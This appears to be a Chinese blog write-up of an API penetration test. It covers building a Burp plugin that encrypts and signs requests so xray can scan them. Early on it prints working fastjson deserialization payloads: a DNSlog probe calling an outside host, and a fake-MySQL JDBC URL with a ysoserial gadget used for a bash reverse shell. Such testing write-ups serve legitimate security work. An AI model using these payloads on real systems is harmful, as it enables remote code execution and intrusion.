【网络安全】记一次接口加密测试

前言

之前接到一个接口测试项目,就提供了一个demo源码和接口设计文档,文档里一共有15个接口。
【网络安全】记一次接口加密测试
本来以为接口测试,只要把参数拼接上去测测就ok了(数据是json格式),但看到设计文档里说数据又得做签名又得做加密,这样测试就变得繁琐了,扫描器也扫不了。
没加密发送,返回会显示解密失败。

其实是有几种解决方案的,写一个代理服务器,经过的时候做数据加密处理啥的,另一个就是写个burp插件,做请求前的数据自动加密,这个其实用过chunked编码插件的就很容易理解。
在这里我打算选择后者,其实burp本身就是一个代理服务器,所以代理部分就不需要我们操心了,我们只需要解决数据处理部分。

【点击查看网络安全学攻略·资料】

fastjson利用

在干之前还是得先看看demo源码有啥,因为还不清楚具体的签名和加密的细节。
目标系统是基于java开发的,demo当然也是java了,项目是用mvn管理的,IDEA自带mvn,就重新编译打包一下,运行jar包运行的是一个spingboot应用,但demo里并没有提供接口,所以其实没啥用。
【网络安全】记一次接口加密测试
【网络安全】记一次接口加密测试
所以就翻翻其他文件,首先要看的就是pom.xml看下有哪些依赖包,提交的数据都是json的,其实也猜到一些,这里可以看到fastjson1.2.58,一个存在漏洞的版本,而目标如果一样的话,那就可以先获取高危一枚。
【网络安全】记一次接口加密测试
虽然还没搞定加解密,先提交poc 尝试
{"@type":“java.net.Inet4Address”,“val”:“123.3l6h3t.dnslog.cn”}
【网络安全】记一次接口加密测试
目标成功解析
【网络安全】记一次接口加密测试
然后上mysql connector payload。
github有一个项目也一键搭建一个faker mysql
https://github.com/fnmsd/MySQL_Fake_Server
让目标发送如下,会返回一个执行的序列化对象,从而让目标反序列化执行,构造的参数放在user字段。
mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
效果如下,解析客户端发送的user字段,这里调用cc10执行bash反弹。
【网络安全】记一次接口加密测试

burp插件设计

回头再看看其他源码,有个XXXCashTest.java,是用于客户端提交数据测试的,随便找到一个方法,commonApplyDto是接口参数的类,通过fastjson序列化成字符串,将字符串使用AES加密,作为data的参数值,使用RSA私钥签名作为sign的参数值,然后再提交。他这里是loadPemKey读取本地私钥文件。
【网络安全】记一次接口加密测试
知道他怎么处理的插件就好些了,关于插件编写和调试流程我之前有写过一篇文章简单介绍了下,也可以参考先知上的一篇文章https://xz.aliyun.com/t/7065
chunked编码插件可实现手动编码和自动编码功能,就以他为模板改,先从github下载源码
https://github.com/c0ny1/chunked-coding-converter
根据原始菜单功能,找到encoding的动作事件
【网络安全】记一次接口加密测试
里面会调用Transfer.encoding对请求数据处理
【网络安全】记一次接口加密测试
这和burp代理事件调用的是同个方法,这样就可以一次性将手动和自动加密都搞定了。
【网络安全】记一次接口加密测试
把demo的相关类放到插件项目里,然后调整如下,为了方便插件使用,我新增一个getPemKey()方法,将私钥写死,方便使用,然后生成新的body,需要注意的是参数值得手动做URL编码。
【网络安全】记一次接口加密测试
最后有个头部的iter迭代搜索,如果匹配到content-type,那么就统一修改成x-www-form,
这个是为啥呢,是这样,因为要测试的接口较多,而且参数也比较多,我想使用xray来扫描,那么就得将原始数据包先经过xray,xray做解析,然后再发给burp做加密,最终发送。
流程图大致如下
【网络安全】记一次接口加密测试
但有个问题,因为设计文档里说明提交使用application/x-www-form-urlencoded,所以在burpsuite1构造json数据提交给xray的时候,xray如果识别到是application/x-www-form-urlencoded,他不会当做json数据处理,只会当成普通表单数据,而json数据里没有等号,所以会把整个json当成key做URL编码,然后将payload作为value填充,大概如下,这种server肯定没法正常处理,正常来说应该对json里的参数值做fuzz的。 (这里Content-Type忽略,测试的时候手动改过)
【网络安全】记一次接口加密测试
而只有当Content-Type: application/json时,才会正常解析,但这样提交到server就不能做正常处理,server端只认application/x-www-form-urlencoded,所以才在插件里做了这么一个转换。最终如下
【网络安全】记一次接口加密测试
至此burp插件写完了,编译打包,然后在burpsuite2(其实是找了一台单独的server运行)加载
【网络安全】记一次接口加密测试
自动编码配置,右键菜单,勾选proxy即可。
【网络安全】记一次接口加密测试
xray构造的数据包
【网络安全】记一次接口加密测试
自动加密后的
【网络安全】记一次接口加密测试
到此接口测试准备就绪,后续就是常规的web渗透阶段,愉快的在burpsuite1里构造测试数据包,并联动xray进行自动化测试。

总结

  1. fastjson的利用,poc通过dnslog来快速验证,fake mysql server的使用。
  2. 接口加密自动化burp插件的编写。
  3. burp1-xray-burp2联动来实现手动+自动化测试。
  4. Content-type字段的问题,xray解析json数据需要为application/json,而server需要为application/x-www-form-urlencoded

最后 ·关注私信我获取网络安全学习资料·攻略

上一篇:C# - 匿名对象取值


下一篇:三分钟让你也拥有一个很酷炫的GitHub展示页面(保姆级教程01)